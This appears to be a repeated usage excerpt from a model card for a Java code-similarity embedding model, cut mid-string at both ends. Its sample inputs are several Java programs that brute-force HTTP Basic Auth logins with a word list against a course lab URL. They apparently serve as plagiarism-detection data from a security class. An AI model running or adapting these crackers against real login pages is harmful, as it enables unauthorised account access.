   }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n         case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'package java.httputils;\n\nimport java.io.BufferedReader;\nimport java.io.FileNotFoundException;\nimport java.io.FileReader;\nimport java.io.IOException;\nimport java.net.MalformedURLException;\nimport java.sql.Timestamp;\n\n\npublic class Dictionary extends BruteForce\n{\n    protected String wordFile;\n\n    public Dictionary()\n    {\n        super();\n    }\n\n    public static void main(String[] args)\n    {\n        Dictionary dictionary = new Dictionary();\n\n        if (args.length < 3)\n        {\n            System.out.println(dictionary.printUsage());\n        }\n        else\n        {\n            dictionary.setURL(args[0]);\n            dictionary.setUserName(args[1]);\n            dictionary.setWordFile(args[2]);\n\n            if (args.length > 3)\n            {\n                dictionary.setFileName(args[3]);\n            }\n            dictionary.process();\n            System.out.println(dictionary.printResult());\n            System.exit(1);\n        }\n    }\n\n    public void process()\n    {\n        attempts = 0;\n        String password = "";\n        \n        setStart(new Timestamp(System.currentTimeMillis()));\n\n        BufferedReader input = null;\n        try\n        {\n            FileReader file = new FileReader(getWordFile());\n            \n            input = new BufferedReader(file);\n            \n        }\n        catch (FileNotFoundException x)\n        {\n            System.err.println("File not found: " + getWordFile());\n            System.exit(2);\n        }\n\n        try\n        {\n            while ((password = input.readLine()) != null)\n            {\n                try\n                {\n                    \n                    attempts++;\n                    BasicAuthHttpRequest req =\n                        new BasicAuthHttpRequest(\n                            getURL(),\n                            getUserName(),\n                            password);\n                    setPassword(password);\n                    setEnd(new Timestamp(System.currentTimeMillis()));\n                    setContent(req.getContent().toString());\n\n                    \n                    if (getFileName() != null\n                        && getFileName().length() > 0)\n                    {\n                        createReport();\n                    }\n                    return;\n                }\n                catch (MalformedURLException e)\n                {\n                    e.printStackTrace();\n                    return;\n                }\n                catch (IOException e)\n                {\n\n                }\n            }\n        }\n        catch (IOException x)\n        {\n            x.printStackTrace();\n        }\n\n        \n        setEnd(new Timestamp(System.currentTimeMillis()));\n\n    }\n\n    public String printUsage()\n    {\n        StringBuffer s = new StringBuffer();\n\n        s.append("** BruteForce proper usage **\\n\\n");\n        s.append(\n            "java ..httputils.Dictionary <URL> <UserName> <Word File> <OutputFile - Optional>\\n\\n");\n\n        return s.toString();\n    }\n    \n    public String getWordFile()\n    {\n        return wordFile;\n    }\n\n    \n    public void setWordFile(String string)\n    {\n        wordFile = string;\n    }\n\n}\n',
]
embeddings = model.encode(sentences)
print(embeddings.shape)
# [3, 512]

# Get the similarity scores for the embeddings
similarities = model.similarity(embeddings, embeddings)
print(similarities)
# tensor([[1.0000, 0.8406, 0.0784],
#         [0.8406, 1.0000, 0.0079],
#         [0.0784, 0.0079, 1.0000]])
Usagepython
from sentence_transformers import SentenceTransformer

# Download from the 🤗 Hub
model = SentenceTransformer("buelfhood/SOCO-Java-codet5-mnrl-triplets-ep1-bs16-lr2e-05-split0.0")
# Run inference
sentences = [
    'import java.net.*;\nimport java.io.*;\nimport java.*;\n\n public class Dictionary {\n\n   URLConnection conn = null;\n   private static boolean status = false;\n\n   public static void main (String args[]){\n     Dictionary a = new Dictionary();\n     String[] inp = {"http://sec-crack.cs.rmit.edu./SEC/2/index.php",\n     \t\t\t\t "",\n     \t\t\t\t ""};\n     File file = new File("words");\n     exit:\n     try {\n\t\t BufferedReader in = new BufferedReader(new FileReader(file));\n\t\t int attempt = 0;\n\t\t inp[2] = in.readLine();\n\t\t while (inp[2] != null) {\n\t\n\t\t\t if (inp[2].length() <= 3) {\n\t\t\t \tattempt++;\n\t\t\t \ta.doit(inp);\n     \t\t \tif (status) {\n\t\t\t \t\t System.out.println("Crrect password is: " + inp[2]);\n\t\t\t \t\t System.out.println("Number of attempts = " + attempt);\n\t\t\t \t\t break exit;\n\t\t\t \t}\n\t\t \t }\n\t\t\t inp[2] = in.readLine();\n   \t\t}\n\t } catch (FileNotFoundException e1) {\n\t\t \n\t\tSystem.err.println("File not found: " + file);\n\t} catch (IOException e2) {\n\t\t\n\t\te2.printStackTrace();\n\t}\n\n   }\n\n   public void doit(String args[]) {\n     \n     try {\n       BufferedReader in = new BufferedReader(\n           new InputStreamReader\n              (connectURL(new URL(args[0]), args[1], args[2])));\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           status = true;\n           }\n       }\n     catch (IOException e) {\n   \n       }\n     }\n\n   public InputStream connectURL (URL url, String uname, String pword)\n        throws IOException  {\n     conn = url.openConnection();\n     conn.setRequestProperty ("Authorization",\n     userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n   public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n   private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n   private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n        case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n        case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n          break;\n        case 2:\n          encodedString += "==";\n          break;\n        }\n       }\n       return encodedString;\n   }\n }\n\n',
    'import java.net.*;\nimport java.io.*;\n\n public class Dictionary {\n int attempts = 0;\n   URLConnection conn = null;\n\n   public static void main (String args[]){\n\n\tDictionary a = new Dictionary();\n     a.attack(args);\n     }\n\n   public void attack(String args[]) {\n   try {\n       String login = new String("");\n       String url = new String("http://sec-crack.cs.rmit.edu./SEC/2/index.php");\n       String passwd = new String();\n\n\n       passwd = getPasswd();\n       BufferedReader in = new BufferedReader( new InputStreamReader (openURLForInput(new URL(url), login , passwd)));\n\n       String line;\n       while ((line = in.readLine()) != null) {\n           System.out.println(line);\n           }\n           System.out.println("Password Cracked Successfully!!!");\n           System.out.println("The passsword is :" + passwd + "and got after " +attempts + " tries");\n       }\n     catch (IOException e) {\n  \n      String r = new String(e.getMessage());\n    if ( r != null)\n    {\n     System.out.println("Message :" +r);\n     Dictionary a = new Dictionary();\n     a.attack(args);\n    }\n     else\n     {\n\tSystem.out.println("Trying again");\n\tDictionary a = new Dictionary();\n\ta.attack(args);\n     }\n     }\n   }\n  public String getPasswd()\n  {\n\n int i=0;int j=0;\n attempts++;\n int count =0;\n System.out.println("Passing dictionary word and waiting for URL reply....... ");\n  String currentword = "";\n  String se = "";\n  try{\n FileInputStream reader = new FileInputStream ("words");\n DataInputStream in = new DataInputStream(reader);\n while (in.available() !=0)\n{\n currentword = in.readLine();\n count++;\n \n \n }\n }\n  catch( IOException e){}\n\n  return currentword;\n\t \n         }\n\n\n\n public InputStream openURLForInput (URL url, String uname, String pword)\n throws IOException  {\n     conn = url.openConnection();\n     conn.setDoInput (true);\n     conn.setRequestProperty ("Authorization", userNamePasswordBase64(uname,pword));\n     conn.connect ();\n     return conn.getInputStream();\n     }\n\n\n public String userNamePasswordBase64(String username, String password) {\n     return " " + base64Encode (username + ":" + password);\n     }\n\n private final static char base64Array [] = {\n       \'A\', \'B\', \'C\', \'D\', \'E\', \'F\', \'G\', \'H\',\n       \'I\', \'J\', \'K\', \'L\', \'M\', \'N\', \'O\', \'P\',\n       \'Q\', \'R\', \'S\', \'T\', \'U\', \'V\', \'W\', \'X\',\n       \'Y\', \'Z\', \'a\', \'b\', \'c\', \'d\', \'e\', \'f\',\n       \'g\', \'h\', \'i\', \'j\', \'k\', \'l\', \'m\', \'n\',\n       \'o\', \'p\', \'q\', \'r\', \'s\', \'t\', \'u\', \'v\',\n       \'w\', \'x\', \'y\', \'z\', \'0\', \'1\', \'2\', \'3\',\n       \'4\', \'5\', \'6\', \'7\', \'8\', \'9\', \'+\', \'/\'\n  };\n\n private static String base64Encode (String string)    {\n     String encodedString = "";\n     byte bytes [] = string.getBytes ();\n     int i = 0;\n     int pad = 0;\n     while (i < bytes.length) {\n       byte b1 = bytes [i++];\n       byte b2;\n       byte b3;\n       if (i >= bytes.length) {\n          b2 = 0;\n          b3 = 0;\n          pad = 2;\n          }\n       else {\n          b2 = bytes [i++];\n          if (i >= bytes.length) {\n             b3 = 0;\n             pad = 1;\n             }\n          else\n             b3 = bytes [i++];\n          }\n       byte c1 = (byte)(b1 >> 2);\n       byte c2 = (byte)(((b1 & 0x3) << 4) | (b2 >> 4));\n       byte c3 = (byte)(((b2 & 0xf) << 2) | (b3 >> 6));\n       byte c4 = (byte)(b3 & 0x3f);\n       encodedString += base64Array [c1];\n       encodedString += base64Array [c2];\n       switch (pad) {\n         case 0:\n          encodedString += base64Array [c3];\n          encodedString += base64Array [c4];\n          break;\n         case 1:\n          encodedString += base64Array [c3];\n          encodedString += "=";\n     